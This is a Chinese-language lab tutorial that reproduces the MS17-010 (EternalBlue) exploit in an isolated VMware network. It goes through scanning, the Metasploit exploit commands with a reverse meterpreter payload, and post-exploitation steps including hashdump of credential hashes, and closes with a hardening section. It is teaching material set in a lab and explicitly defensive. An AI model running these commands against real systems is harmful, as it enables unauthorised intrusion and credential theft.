MS17-010(EternalBlue)渗透实战——从隔离靶场到拿下 SYSTEM

很多人第一次实际"打进"一台机器,用的都是 MS17-010(EternalBlue,永恒之蓝),我也是。当年比赛集训,教练拉起一台没打补丁的 Win7,让我们照着一串命令敲下去,回车之后屏幕上出现了 meterpreter > 提示符。这是我接触渗透的第一个实践,后来虽然没往这个方向发展,但一直记着。

这是渗透实战系列的第一篇。它不教你攻击他人系统,而是带你在一个完全隔离、完全属于自己的环境里,把这个早已被修复多年的经典漏洞从头到尾复现一遍:理解每一步在做什么,最后再从防御角度说明它为什么在 2017 年造成了那么大范围的影响。

0 写在前面:合法性与靶机隔离

先把最重要的话放在最前面,因为这不只是免责声明,它直接决定了你的网络怎么搭。

本文所有操作只能在你完全拥有、且与任何真实网络物理或逻辑隔离的实验环境中进行。未经授权对任何不属于你的系统进行扫描或利用,在几乎所有司法辖区都是刑事犯罪。这条没有灰色地带。

除了"违不违法",这里还有一个纯技术层面的理由:MS17-010 属于可被蠕虫利用(wormable)的预身份认证漏洞。未打补丁的主机本身不会主动去传染别人,但一旦它感染了具备横向扫描和自我复制能力的恶意代码,就会成为下一跳传播节点。WannaCry 曾主要利用 EternalBlue 扩散,NotPetya 也把它作为多种传播手段之一。

正因为它有这种传播潜力,你的靶机绝对不能用 Bridged(桥接会让它直接出现在你的物理局域网里)。NAT 也不适合这种实验——它虽然不会把靶机直接暴露到物理网,但通常仍会给靶机提供出站访问能力,并可能通过宿主机的路由摸到其他网段。VMware 把 Bridged、NAT、Host-only 三种模式区分得很清楚,其中 NAT 共享宿主机的网络连接,只有 Host-only 才是真正的私有网络。正确做法是用一个自定义 VMnet:不连 NAT 服务、不给宿主机装虚拟网卡、也没有默认网关,只让两台实验机互通。

1 实验环境与网络拓扑

我们不做嵌套虚拟化,两台虚拟机都直接运行在宿主机的 VMware Workstation 中,省内存也更干净。整套环境就两台虚拟机,挂在同一个隔离网段上:

角色 主机 系统 IP 网卡
攻击机 kali-attacker Kali Linux(rolling) 192.168.66.10 VMnet10
靶机 win7-victim Windows 7 SP1 x64 192.168.66.20 VMnet10

网段用 192.168.66.0/24故意避开你现有 lab 的 10.0.x.x 业务网,一眼就能看出这是一个独立的隔离区。这个网里没有网关、没有 DNS、不通外网——两台机器只能互相看见对方。

在 Workstation 里建隔离网段(必需)

打开 Edit → Virtual Network Editor(需要管理员权限),新增一个网络,设为 Host-only

  • Name:VMnet10
  • Subnet IP:192.168.66.0,Subnet mask:255.255.255.0
  • 取消勾选 “Connect a host virtual adapter to this network”(不需要宿主机也插进这个网,越少连接越干净)
  • 取消勾选 “Use local DHCP service”(我们手动配静态 IP)

然后把两台虚拟机的网络适配器都改成 Custom: Specific virtual network → VMnet10。这一步做完,靶机就完全隔离了。

建好后先确认两台虚拟机都只挂着 VMnet10 这一块网卡,没有残留的 NAT 或 Bridged 网卡。再查路由表确认没有出口:Win7 执行 route print,不应看到目标和掩码均为 0.0.0.0 的默认路由;Kali 执行 ip route,不应出现任何 default via …。最后确认两台机能互相 ping 通即可。别只靠 ping 外网来判断隔离,对方屏蔽 ICMP 也会让你误以为断网了。

2 准备攻击机:Kali

Kali 自带 Metasploit,基本不用额外装东西。装好系统后,把它的 VMnet10 网卡配成静态 192.168.66.10(图形界面或 /etc/network/interfaces 都行),不用填网关。

进系统后确认工具链就绪。Metasploit 没有数据库也能正常跑扫描和利用模块,数据库只是用来归置主机、服务、会话、凭据这些结果的:

1
2
3
4
sudo msfdb init
msfconsole -q
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

连上数据库后,可以用 hostsservicesvulns 等命令整理结果。有一点容易踩坑:在普通终端里直接跑的 nmap 不会自动进库,要让结果入库,得在 msfconsole 里用 db_nmap,或者用 db_import 导入 Nmap 的 XML 结果。

3 准备靶机:让 Win7 “可被打”

安装并保持"脆弱"

装系统时一路默认即可,重点是装完之后别让它变安全

这里有个最常见的坑:镜像的 build 版本。请使用未集成后续安全更新的 Windows 7 SP1 x64 原始介质,build 号为 7601.17514(2011 年 SP1 RTM)。不要选择文件名标着 Updated 2017/2018/2019、或 build 为 7601.24xxx 的后期刷新介质——例如 7601.24214.180801 是 2018 年 8 月的 escrow 刷新版,集成了后续更新,装上后大概率扫不出漏洞。MS17-010 早在 2017 年 3 月就由 KB4012212、KB4012215 等更新修复,只要镜像里带了这些补丁或之后的月度汇总,靶机就不再表现为易受攻击。这也是很多人"Win7 装好却打不进去"的原因。

版本选对之后,装完注意几点:

  • 不要联网、不要安装任何更新,尤其是 KB4012212、KB4012215,以及包含这些修复的后续月度汇总更新。它本来就在隔离网里,断网是天然状态。
  • SMBv1 默认开启,Win7 出厂就带,不用动。
  • 把网卡配成静态 192.168.66.20,同样不填网关、不填 DNS。

为了让 445 端口能被攻击机访问,更好的做法是只放行 SMB 入站、并把作用域限制在实验网段,而不是把防火墙整个关掉。在靶机防火墙的高级设置里,启用 “File and Printer Sharing (SMB-In)” 规则,并把远程地址范围限制到 192.168.66.0/24

从 Kali 验证靶机可达

回到 Kali,确认 445 开着:

1
nmap -p 445 192.168.66.20

看到 445/tcp open microsoft-ds 就说明 SMB 服务在线、网络打通了,可以进入正题。

4 漏洞原理:MS17-010 到底是什么

MS17-010 是微软在 2017 年发布的一组 SMBv1 安全更新,覆盖 CVE-2017-0143 至 CVE-2017-0148;而 EternalBlue 通常特指针对其中 SMBv1 内核内存破坏缺陷(常对应 CVE-2017-0144)构造的那条利用链。

按 Rapid7 模块的描述,缓冲区溢出发生在服务端函数 Srv!SrvOs2FeaToNt 的内存复制(memmove)过程中,而导致溢出的错误长度来自另一个函数 Srv!SrvOs2FeaListSizeToNt——那里把一个 DWORD 的计算结果截断写进了 WORD。攻击者随后通过内核池 grooming,把内存池布置成预期的样子,让越界写覆盖目标结构,最终劫持执行流,在内核上下文中取得代码执行能力。

它之所以危险,叠加了三个属性:预身份认证(匿名 null session 就能触发,不需要任何账号)、内核级(一旦得手就是最高执行上下文)、无需交互(受害者什么都不用点)。这三条同时满足,就构成了蠕虫传播的理想条件,这也是它当年被做成 WannaCry 传播引擎的原因。

理解了这层,你后面看到 getuid 直接返回 SYSTEM 就不会奇怪了:利用链先在内核里拿到执行能力,再把用户态 payload 注入一个 SYSTEM 权限的进程,所以省掉了通常意义上的提权步骤。

5 信息收集与漏洞确认:先确认,再开火

养成习惯:确认目标真的脆弱,再动手。打之前先扫,既是流程规范,也能避免对着一台其实已经打了补丁的机器白费功夫。

方法一:nmap NSE 脚本

1
nmap -p 445 --script smb-vuln-ms17-010 192.168.66.20

脆弱的话会看到类似输出:

1
2
3
4
5
6
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143

方法二:Metasploit 扫描模块

1
2
3
4
5
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.66.20
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.66.20:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 ... x64 (64-bit)

这里扫描器并不会真去触发 EternalBlue,而是利用补丁前后对同一个异常 SMB 请求返回结果的差异来判断。它连接到 IPC$、针对 FID 0 发起一次 transaction——未修补系统通常返回 STATUS_INSUFF_SERVER_RESOURCES,已修补系统则常返回 STATUS_ACCESS_DENIEDSTATUS_INVALID_HANDLE。这种检测通常比较可靠,但模块输出写的仍是 likely VULNERABLE,所以要把它理解为高可信度的远程判断,而不是绝对证明。

6 利用:运行 EternalBlue

确认脆弱后,加载利用模块:

1
2
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

show options 里需要你关心的其实只有几个:

  • RHOSTS:靶机地址,设成 192.168.66.20
  • LHOST:攻击机回连地址,设成 192.168.66.10(也可以直接写网卡名,如 set LHOST eth0,让它自动取 VMnet10 上的 IP)
  • VERIFY_ARCH / VERIFY_TARGET:默认都是 true,保持不动。对本文的 Win7 目标,模块会核对 SMB 返回的系统信息和 DCE/RPC 探测到的架构,发现不匹配时会报错并中止利用。这能降低误选目标的风险,但并不能保证内核利用过程绝不蓝屏

Payload 本文显式选用 windows/x64/meterpreter/reverse_tcp。当前 EternalBlue 模块只支持 x64 payload(模块架构声明为 ARCH_X64),必须和 Win7 x64 靶机对齐,别用错架构:

1
2
3
4
msf6 exploit(...) > set RHOSTS 192.168.66.20
msf6 exploit(...) > set LHOST 192.168.66.10
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run

顺利的话,你会看到一串 [*]、一个 WIN 字样的横幅,然后是你要的提示符:

1
2
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.20:49158)
meterpreter >

可能出现的情况

  • 没一次成功,提示 Exploit completed, but no session was created:正常。内核池 grooming 不是每次都成。对本文的 Win7 利用路径,模块内置了 MaxExploitAttempts,默认一次 run 最多尝试 3 次、并逐次加大 grooming 数量;如果跑完仍没会话,手动再 run 一次即可,连续失败就等靶机稳定下来再试。
  • 靶机突然蓝屏或自己重启:这是 EternalBlue 的经典副作用。它不一定说明你配错了,但也别一概当成"正常现象"——先排除架构(x64 对 x64)、补丁状态、目标版本是否匹配这几项。grooming 失败确实有概率把内核搞崩导致 BSOD,重启靶机重来即可。也正因为这种手法容易把目标打崩、动静大,真实红队行动里会很谨慎地用它。
  • 打了半天都不进:先回头确认两件事——靶机 445 还在不在(nmap -p445,蓝屏重启后 SMB 服务要重新起来)、LHOST 是不是 VMnet10 那张网卡的 IP(设错成 Kali 别的网卡,反向连接回不来)。

7 后渗透基础:拿到 SYSTEM 之后

进了会话,先看看自己是谁:

1
2
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

直接就是 SYSTEM。利用链先在内核上下文里取得代码执行,再把用户态 Meterpreter payload 注入默认的 spoolsv.exe 这类 SYSTEM 进程,所以最终会话显示为 NT AUTHORITY\SYSTEM。SYSTEM 是本地最高权限的用户态上下文之一。

接下来几个命令可以直观看到控制一台机器意味着什么,也是本篇的收尾:

1
2
3
meterpreter > sysinfo          # 看系统信息,确认确实是那台 Win7
meterpreter > screenshot # 截一张靶机当前桌面
meterpreter > hashdump # 导出本地 SAM 里的账户哈希

hashdump 会导出靶机本地账户的口令哈希。这些哈希可能被拿去离线破解。在存在密码复用、或 NTLM / 远程管理条件允许的情况下,还可能帮助向网络里的其他机器横向移动。从单台机器失陷扩散到整个网络,往往就是从这一步开始的。

到这里,你已经独立完成了一次完整的"确认 → 利用 → 后渗透"闭环:用扫描模块定位脆弱主机、配置并发射 EternalBlue、拿到 SYSTEM 级 Meterpreter 会话。这也是很多人接触渗透时的第一个完整练习。

8 换到防守方:这台机器本不该被打穿

只会利用还不够,防御视角才是这篇的重点。把前面每一步反过来看,就是一份加固清单:

  • 及时打补丁,别让 SMBv1 裸奔。这次能被打穿,直接原因就是缺少安全更新、暴露了 SMBv1、以及网络边界控制不足。Windows 7 SP1 的扩展支持已于 2020 年 1 月 14 日结束;符合条件的 Professional、Enterprise、Professional for Embedded Systems 等版本可通过 ESU 获得最长三年的额外安全更新,最后一年在 2023 年 1 月 10 日结束(本文使用的 Ultimate 并不在 ESU 范围内)。系统彻底停更后,新发现的漏洞通常就等不到官方补丁了,EOL 是长期的风险放大器。

  • 关闭 SMBv1 服务端。它是一个已经过时的旧协议,绝大多数现代环境都不应继续使用(少数老旧 NAS、工控或嵌入式设备可能仍依赖它,需单独评估)。注意命令要分系统:

    1
    2
    3
    Set-ItemProperty `
    -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" `
    -Name SMB1 -Type DWord -Value 0 -Force

    (这只关了服务端;要连 SMBv1 客户端组件一起处理是另一回事,本文不展开。)

  • 网络分段。SMB(445)不应在没有明确业务需求和访问控制的情况下跨信任边界放行。

  • 监控与 EDR。EternalBlue 的内核崩溃、异常 SMB 流量、spoolsv.exe 突然发起外连,这些在有日志和端点检测的环境里都是显眼的告警信号。利用起来简单,但在有监控的环境里并不隐蔽。

结语

MS17-010 在技术上已经很老,补丁发布快十年,在持续维护的现代环境里本不该再出现。但遗留系统、专用设备和长期没人更新的网络里,它未必真的绝迹。作为入门第一课它仍然合适:环境简单,一个下午能跑通完整链条。同时足够典型,能说清"少打一个补丁、暴露一个老协议"如何一步步演变成对整台机器的控制。